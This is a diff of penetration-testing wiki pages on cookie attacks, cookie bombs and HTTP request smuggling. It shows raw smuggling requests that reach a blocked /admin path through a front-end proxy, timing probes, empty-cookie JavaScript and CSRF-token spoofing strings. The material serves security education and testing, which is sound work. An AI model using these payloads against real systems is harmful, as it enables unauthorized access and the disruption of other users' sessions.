Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookie's content and impersonate other users by encoding their modified data back into the cookie.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
Steal a cookie and use it to impersonate the user inside an application
|
||||
This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.
|
||||
|
||||
### Session fixation
|
||||
### Session Fixation
|
||||
|
||||
The attacker gets a cookie from a web page and sends a link to the victim to **login using the very same cookie**. If the cookie is not changed when a user logs in, this could be useful because the attacker could be able to impersonate the user through a cookie.
|
||||
In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.
|
||||
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
|
@ -126,9 +128,9 @@ If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
|||
[cookie-tossing.md](cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Session donation
|
||||
### Session Donation
|
||||
|
||||
The attacker sends his own session to the victim. The victim will see that he is already logged in and will suppose that he is inside his account but **the actions will be performed inside the attacker's account**.
|
||||
Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account.
|
||||
|
||||
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
||||
|
||||
|
@ -136,99 +138,69 @@ If you found an **XSS in a subdomain** or you **control a subdomain**, read:
|
|||
[cookie-tossing.md](cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### [JWT Cookie](../hacking-jwt-json-web-tokens.md)
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Click on the previous link to access a page explaining possible flaws in JWT.
|
||||
|
||||
### Empty Cookie
|
||||
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
|
||||
|
||||
Browsers allow a cookie with an empty name
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/))
|
||||
Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:
|
||||
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // empty name
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
|
||||
This results in the sent cookie header:
|
||||
|
||||
```
|
||||
a=v1; test value; b=v2;
|
||||
```
|
||||
|
||||
More interestingly, if you have a vector that somehow lets you **set the empty cookie**, you can **control any other cookie**:
|
||||
The result in the sent cookie header is `a=v1; test value; b=v2;`. Intriguingly, this allows for the manipulation of cookies if an empty name cookie is set, potentially controlling other cookies by setting the empty cookie to a specific value:
|
||||
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
}
|
||||
|
||||
setCookie("", "a=b"); // this sets the empty cookie to a=b
|
||||
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
|
||||
Although internally in the browser, this is set as the empty named cookie, it will result in the **sent cookie header:**
|
||||
This leads to the browser sending a cookie header interpreted by every web server as a cookie named `a` with a value `b`.
|
||||
|
||||
```
|
||||
a=b;
|
||||
```
|
||||
#### Chrome Bug: Unicode Surrogate Codepoint Issue
|
||||
|
||||
Meaning, every webserver will parse it as the cookie `a` being set to the value `b`.
|
||||
|
||||
### Chrome Bug - document.cookie corruption <a href="#chrome-bugdocumentcookie-corruption" id="chrome-bugdocumentcookie-corruption"></a>
|
||||
|
||||
If a unicode surrogate codepoint is in a set cookie, `document.cookie` will be permanently corrupted and return an empty string.
|
||||
In Chrome, if a Unicode surrogate codepoint is part of a set cookie, `document.cookie` becomes corrupted, returning an empty string subsequently:
|
||||
|
||||
```js
|
||||
document.cookie
|
||||
// "a=b;"
|
||||
document.cookie = "\ud800=meep";
|
||||
document.cookie
|
||||
// ""
|
||||
```
|
||||
|
||||
### Cookie Smuggling
|
||||
This results in `document.cookie` outputting an empty string, indicating permanent corruption.
|
||||
|
||||
Several webservers, including Java webservers Jetty, TomCat, Undertow, and the Python web framework Zope, as well as Python web servers/frameworks like cherrypy, web.py, aiohttp server, bottle, and webob, are found to **incorrectly parse cookie strings** due to leftover support for RFC2965, an outdated cookie quoting mechanism that uses RFC2616 for a quoted-string definition.
|
||||
#### Cookie Smuggling Due to Parsing Issues
|
||||
|
||||
Specifically, **these servers continue reading a cookie string when they encounter a double-quoted (dquoted) cookie value, even if a semicolon is encountered**. This is problematic because **semicolons are supposed to separate key-value** pairs in the cookie string.
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/))
|
||||
Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:
|
||||
|
||||
For instance, if a **browser sends three cookies, RENDER\_TEXT, JSESSIONID,** and **ASDF:**
|
||||
|
||||
```basic
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
|
||||
these servers interpret them as part of a **single cookie value** rather than three separate cookies.
|
||||
#### Cookie Injection Vulnerabilities
|
||||
|
||||
This leads to a security risk: if an attacker gains cross-site scripting (XSS) access, they can use this bug to **exfiltrate sensitive cookies like HttpOnly cookies**.
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/))
|
||||
The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:
|
||||
|
||||
### Cookie Injection
|
||||
- Undertow expects a new cookie immediately after a quoted value without a semicolon.
|
||||
- Zope looks for a comma to start parsing the next cookie.
|
||||
- Python's cookie classes start parsing on a space character.
|
||||
|
||||
Many webservers, including Java's Undertow, Python's Zope, and those using Python's stdlib http.cookie.SimpleCookie and http.cookie.BaseCookie, have been found to **incorrectly parse cookies, using wrong delimiters to start the next cookie name/value pair**. This allows an attacker to **spoof multiple cookies while only controlling one cookie value**.
|
||||
This vulnerability is particularly dangerous in web applications relying on cookie-based CSRF protection, as it allows attackers to inject spoofed CSRF-token cookies, potentially bypassing security measures. The issue is exacerbated by Python's handling of duplicate cookie names, where the last occurrence overrides earlier ones. It also raises concerns for `__Secure-` and `__Host-` cookies in insecure contexts and could lead to authorization bypasses when cookies are passed to back-end servers susceptible to spoofing.
|
||||
|
||||
In **Undertow's** case, it begins parsing the next cookie immediately after the **end of a quoted** cookie value, without waiting for a semicolon:
|
||||
|
||||
```bash
|
||||
LANGUAGE="en-us" CSRF_TOKEN="SPOOFED_VALUE"
|
||||
```
|
||||
|
||||
**Zope** start parsing the next cookie on a **comma**:
|
||||
|
||||
```bash
|
||||
LANGUAGE=en-us,CSRF_TOKEN=SPOOFED_VALUE
|
||||
```
|
||||
|
||||
And **Python's SimpleCookie** and **BaseCookie** immediately start parsing the next cookie on a **space** character:
|
||||
|
||||
```
|
||||
LANGUAGE=en-us CSRF_TOKEN=SPOOFED_VALUE
|
||||
```
|
||||
|
||||
As a result, servers such as **cherrypy**, **web.py**, **aiohttp** server, **bottle**, and **webob** (Pyramid, TurboGears) are all vulnerable to this type of attack.
|
||||
|
||||
This issue presents significant **security implications**. For instance, if a web application uses **cookie-based CSRF protection**, an attacker can **inject** a spoofed **CSRF-token cookie** to bypass this protection. Additionally, the last duplicate cookie name in Python's http.cookie packages overrides any previous ones, making this type of attack especially easy.
|
||||
|
||||
Furthermore, the **spoofing** of **`__Secure-`** and **`__Host-`** cookies can be abused in an insecure context. Also, in a configuration where cookies are passed onto a backend server, **cookie injection could lead to authorization bypasses** if the backend server is susceptible to spoofing but the frontend server is not.
|
||||
|
||||
### Extra Vulnerable Cookies Checks
|
||||
|
||||
|
@ -300,6 +272,7 @@ There should be a pattern (with the size of a used block). So, knowing how are a
|
|||
## References
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -14,8 +14,7 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
|
||||
A cookie bomb is the capability of **adding a large number of large cookies to a user** for a domain and its subdomains with the goal that the victim will always **send large HTTP requests** to the server (due to the cookies) the **server won't accept the request**. Therefore, this will cause a DoS over a user in that domain and subdomains.
|
||||
**`Cookie bomb`** involves **adding a significant number of large cookies to a domain and its subdomains targeting a user**. This action results in the victim **sending oversized HTTP requests** to the server, which are subsequently **rejected by the server**. The consequence of this is the induction of a Denial of Service (DoS) specifically targeted at a user within that domain and its subdomains.
|
||||
|
||||
A nice **example** can be seen in this write-up: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
||||
|
||||
|
|
|
@ -49,127 +49,110 @@ Remember that in HTTP **a new line character is composed by 2 bytes:**
|
|||
|
||||
## Basic Examples
|
||||
|
||||
So, request smuggling attacks involve placing both the `Content-Length` header and the `Transfer-Encoding` header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behaviour of the two servers:
|
||||
HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.
|
||||
|
||||
* **CL.TE**: the front-end server uses the `Content-Length` header and the back-end server uses the `Transfer-Encoding` header.
|
||||
* **TE.CL**: the front-end server uses the `Transfer-Encoding` header and the back-end server uses the `Content-Length` header.
|
||||
* **TE.TE**: the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way.
|
||||
### Basic Examples of Vulnerability Types
|
||||
|
||||
### CL.TE vulnerabilities
|
||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
|
||||
Here, the **front-end** server uses the **`Content-Length`** header and the **back-end** server uses the **`Transfer-Encoding`** header. We can perform a simple HTTP request smuggling attack as follows:
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
- **Front-End (CL):** Processes the request based on the `Content-Length` header.
|
||||
- **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header.
|
||||
- **Attack Scenario:**
|
||||
- The attacker sends a request where the `Content-Length` header's value does not match the actual content length.
|
||||
- The front-end server forwards the entire request to the back-end, based on the `Content-Length` value.
|
||||
- The back-end server processes the request as chunked due to the `Transfer-Encoding: chunked` header, interpreting the remaining data as a separate, subsequent request.
|
||||
- **Example:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 30
|
||||
Connection: keep-alive
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
`Content-Length: 30`\
|
||||
`Connection: keep-alive`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`GET /404 HTTP/1.1`\
|
||||
`Foo: x`
|
||||
0
|
||||
|
||||
Note how `Content-Length` indicate the **bodies request length is 30 bytes long** (_remember that HTTP uses as new line, so 2bytes each new line_), so the reverse proxy **will send the complete request** to the back-end, and the back-end will process the `Transfer-Encoding` header leaving the `GET /404 HTTP/1.1` as the **beginning of the next request** (BTW, the next request will be appended to `Foo:x<Next request starts here>`).
|
||||
GET /404 HTTP/1.1
|
||||
Foo: x
|
||||
```
|
||||
|
||||
### TE.CL vulnerabilities
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
- **Front-End (TE):** Processes the request based on the `Transfer-Encoding` header.
|
||||
- **Back-End (CL):** Processes the request based on the `Content-Length` header.
|
||||
- **Attack Scenario:**
|
||||
- The attacker sends a chunked request where the chunk size (`7b`) and actual content length (`Content-Length: 4`) do not align.
|
||||
- The front-end server, honoring `Transfer-Encoding`, forwards the entire request to the back-end.
|
||||
- The back-end server, respecting `Content-Length`, processes only the initial part of the request (`7b` bytes), leaving the rest as part of an unintended subsequent request.
|
||||
- **Example:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 4
|
||||
Connection: keep-alive
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
Here, the front-end server uses the `Transfer-Encoding` header and the back-end server uses the `Content-Length` header. We can perform a simple HTTP request smuggling attack as follows:
|
||||
7b
|
||||
GET /404 HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 30
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
`Content-Length: 4`\
|
||||
`Connection: keep-alive`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\``\
|
||||
`x=`\
|
||||
`0`\
|
||||
`\`
|
||||
x=
|
||||
0
|
||||
|
||||
In this case the **reverse-proxy** will **send the hole request** to the **back-end** as the **`Transfer-encoding`** indicates so. But, the **back-end** is going to **process** only the **`7b`** (4bytes) as indicated in the `Content-Length` .Therefore, the next request will be the one starting by `GET /404 HTTP/1.1`
|
||||
```
|
||||
|
||||
_Note that even if the attack must end with a `0` the following request is going to be appended as extra values of the **x** parameter._\
|
||||
_Also note that the Content-Length of the embedded request will indicate the length of the next request that is going to b appended to the **x** parameter. If it's too small, only a few bytes will be appended, and if to large (bigger that the length of the next request) and error will be thrown for the next request._
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
- **Servers:** Both support `Transfer-Encoding`, but one can be tricked into ignoring it via obfuscation.
|
||||
- **Attack Scenario:**
|
||||
- The attacker sends a request with obfuscated `Transfer-Encoding` headers.
|
||||
- Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
|
||||
- The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
|
||||
- **Example:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Transfer-Encoding: xchunked
|
||||
Transfer-Encoding : chunked
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-Encoding: x
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-Encoding: x
|
||||
Transfer-Encoding:[tab]chunked
|
||||
[space]Transfer-Encoding: chunked
|
||||
X: X[\n]Transfer-Encoding: chunked
|
||||
|
||||
### TE.TE vulnerabilities
|
||||
Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
Here, the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way.\
|
||||
There are potentially endless ways to obfuscate the `Transfer-Encoding` header. For example:
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End):**
|
||||
- Both servers process the request based solely on the `Content-Length` header.
|
||||
- This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
|
||||
- **Example:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
`Transfer-Encoding: xchunked`\
|
||||
``\ `Transfer-Encoding : chunked`\``\
|
||||
`Transfer-Encoding: chunked`\
|
||||
`Transfer-Encoding: x`\
|
||||
``\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\``\
|
||||
`Transfer-Encoding:[tab]chunked`\
|
||||
``\ `[space]Transfer-Encoding: chunked`\``\
|
||||
`X: X[\n]Transfer-Encoding: chunked`\
|
||||
\`\`\
|
||||
`Transfer-Encoding`\
|
||||
`: chunked`
|
||||
Normal Request
|
||||
```
|
||||
|
||||
Depending on the server (reverse-proxy or backing) that **stops processing** the **TE** header, you will find a **CL.TE vulnerability** or a **TE.CL vulnerability**.
|
||||
#### **CL != 0 Scenario:**
|
||||
- Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content.
|
||||
- It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
|
||||
- **Example:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
## Finding HTTP Request Smuggling
|
||||
Non-Empty Body
|
||||
```
|
||||
|
||||
### Finding CL.TE vulnerabilities using timing techniques
|
||||
|
||||
If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay:
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Content-Length: 4
|
||||
|
||||
1
|
||||
A
|
||||
0
|
||||
```
|
||||
|
||||
Since the front-end server uses the `Content-Length` header, it will forward only part of this request, omitting the `0`. The back-end server uses the `Transfer-Encoding` header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay.
|
||||
|
||||
Sometimes, instead of getting a timeout you receive a 400 bad request from the final host like in the following scenario, where a CL.TE payload is sent:
|
||||
|
||||
![](<../../.gitbook/assets/image (444).png>)
|
||||
|
||||
And the response is a redirect containing an error inside the body with even the version of the haproxy used:
|
||||
|
||||
![](<../../.gitbook/assets/image (443).png>)
|
||||
|
||||
### Finding TE.CL vulnerabilities using timing techniques
|
||||
|
||||
If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay:
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Content-Length: 6
|
||||
|
||||
0
|
||||
X
|
||||
```
|
||||
|
||||
Since the front-end server uses the `Transfer-Encoding` header, it will forward only part of this request, omitting the `X`. The back-end server uses the `Content-Length` header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay.
|
||||
|
||||
### Probing HTTP Request Smuggling vulnerabilities
|
||||
|
||||
Once you have found that the **timing techniques are working** you need to **probe** that you can you can **alter others clients requests**.\
|
||||
The easiest way to do this is to try to poison your own requests, **make a request for `/` return a 404 for example**.\
|
||||
In the [Basic Examples](./#basic-examples) we already saw `CL.TE` and `TE.CL` examples of how to poison a clients request to ask for `/404` provoking a 404 response when the client was asking for any other resource.
|
||||
|
||||
**Notes**
|
||||
|
||||
Some important considerations should be kept in mind when attempting to confirm request smuggling vulnerabilities via interference with other requests:
|
||||
|
||||
* The "attack" request and the "normal" request should be sent to the server using different network connections. Sending both requests through the same connection won't prove that the vulnerability exists.
|
||||
* The "attack" request and the "normal" request should use the same URL and parameter names, as far as possible. This is because many modern applications route front-end requests to different back-end servers based on the URL and parameters. Using the same URL and parameters increases the chance that the requests will be processed by the same back-end server, which is essential for the attack to work.
|
||||
* When testing the "normal" request to detect any interference from the "attack" request, you are in a race with any other requests that the application is receiving at the same time, including those from other users. You should send the "normal" request immediately after the "attack" request. If the application is busy, you might need to perform multiple attempts to confirm the vulnerability.
|
||||
* In some applications, the front-end server functions as a load balancer, and forwards requests to different back-end systems according to some load balancing algorithm. If your "attack" and "normal" requests are forwarded to different back-end systems, then the attack will fail. This is an additional reason why you might need to try several times before a vulnerability can be confirmed.
|
||||
* If your attack succeeds in interfering with a subsequent request, but this wasn't the "normal" request that you sent to detect the interference, then this means that another application user was affected by your attack. If you continue performing the test, this could have a disruptive effect on other users, and you should exercise caution.
|
||||
|
||||
### Forcing via hop-by-hop headers
|
||||
#### Forcing via hop-by-hop headers
|
||||
|
||||
Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
|
||||
|
||||
|
@ -183,183 +166,318 @@ For **more information about hop-by-hop headers** visit:
|
|||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
## Finding HTTP Request Smuggling
|
||||
|
||||
Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:
|
||||
|
||||
### Finding CL.TE Vulnerabilities Using Timing Techniques
|
||||
- **Method:**
|
||||
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
|
||||
- **Example:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Content-Length: 4
|
||||
|
||||
1
|
||||
A
|
||||
0
|
||||
```
|
||||
- **Observation:**
|
||||
- The front-end server processes the request based on `Content-Length` and cuts off the message prematurely.
|
||||
- The back-end server, expecting a chunked message, waits for the next chunk that never arrives, causing a delay.
|
||||
|
||||
- **Indicators:**
|
||||
- Timeouts or long delays in response.
|
||||
- Receiving a 400 Bad Request error from the back-end server, sometimes with detailed server information.
|
||||
|
||||
### Finding TE.CL Vulnerabilities Using Timing Techniques
|
||||
- **Method:**
|
||||
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
|
||||
- **Example:**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Content-Length: 6
|
||||
|
||||
0
|
||||
X
|
||||
```
|
||||
- **Observation:**
|
||||
- The front-end server processes the request based on `Transfer-Encoding` and forwards the entire message.
|
||||
- The back-end server, expecting a message based on `Content-Length`, waits for additional data that never arrives, causing a delay.
|
||||
|
||||
### Other Methods to Find Vulnerabilities
|
||||
- **Differential Response Analysis:**
|
||||
- Send slightly varied versions of a request and observe if the server responses differ in an unexpected way, indicating a parsing discrepancy.
|
||||
|
||||
- **Using Automated Tools:**
|
||||
- Tools like Burp Suite's 'HTTP Request Smuggler' extension can automatically test for these vulnerabilities by sending various forms of ambiguous requests and analyzing the responses.
|
||||
|
||||
- **Content-Length Variance Tests:**
|
||||
- Send requests with varying `Content-Length` values that are not aligned with the actual content length and observe how the server handles such mismatches.
|
||||
|
||||
- **Transfer-Encoding Variance Tests:**
|
||||
- Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations.
|
||||
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
|
||||
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](./#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
|
||||
|
||||
**Key Considerations**
|
||||
|
||||
When testing for request smuggling vulnerabilities by interfering with other requests, bear in mind:
|
||||
|
||||
* **Distinct Network Connections:** The "attack" and "normal" requests should be dispatched over separate network connections. Utilizing the same connection for both doesn't validate the vulnerability's presence.
|
||||
* **Consistent URL and Parameters:** Aim to use identical URLs and parameter names for both requests. Modern applications often route requests to specific back-end servers based on URL and parameters. Matching these increases the likelihood that both requests are processed by the same server, a prerequisite for a successful attack.
|
||||
* **Timing and Racing Conditions:** The "normal" request, meant to detect interference from the "attack" request, competes against other concurrent application requests. Therefore, send the "normal" request immediately following the "attack" request. Busy applications may necessitate multiple trials for conclusive vulnerability confirmation.
|
||||
* **Load Balancing Challenges:** Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability.
|
||||
* **Unintended User Impact:** If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach.
|
||||
|
||||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### To bypass front-end security controls
|
||||
|
||||
Some times the **front-end proxies will perform some security checks**. You can avoid them by abusing HTTP Request Smuggling as you will be able to **bypass the protections**. For example, in this example you **cannot access `/admin` from the outside** and the front-end proxy is checking that, but this **proxy isn't checking the embedded request**:
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
**CL.TE**
|
||||
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net`\
|
||||
`Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr`\
|
||||
`Connection: keep-alive`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Content-Length: 67`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`GET /admin HTTP/1.1`\
|
||||
`Host: localhost`\
|
||||
`Content-Length: 10`\
|
||||
\`\`\
|
||||
`x=`
|
||||
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
|
||||
|
||||
**TE.CL**
|
||||
**CL.TE Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
Cookie: session=[redacted]
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 67
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net`\
|
||||
`Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Connection: keep-alive`\
|
||||
`Content-Length: 4`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
`2b`\
|
||||
`GET /admin HTTP/1.1`\
|
||||
`Host: localhost`\
|
||||
`a=x`\
|
||||
`0`\
|
||||
`\`
|
||||
0
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
In the CL.TE attack, the `Content-Length` header is leveraged for the initial request, while the subsequent embedded request utilizes the `Transfer-Encoding: chunked` header. The front-end proxy processes the initial `POST` request but fails to inspect the embedded `GET /admin` request, allowing unauthorized access to the `/admin` path.
|
||||
|
||||
**TE.CL Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
Cookie: session=[redacted]
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: keep-alive
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked
|
||||
2b
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
a=x
|
||||
0
|
||||
|
||||
```
|
||||
Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
|
||||
|
||||
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
In many applications, the **front-end server performs some rewriting of requests** before they are forwarded to the back-end server, typically by adding some additional request headers.\
|
||||
One common thing to do is to **add to the request the header** `X-Forwarded-For: <IP of the client>` or some similar header so the back-end knows the IP of the client.\
|
||||
Sometimes, if you can **find which new values are appended** to the request you could be able to **bypass protections** and **access hidden information**/**endpoints**.
|
||||
Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.
|
||||
|
||||
For discovering how is the proxy rewriting the request you need to **find a POST parameter that the back-end will reflect it's value** on the response. Then, use this parameter the last one and use an exploit like this one:
|
||||
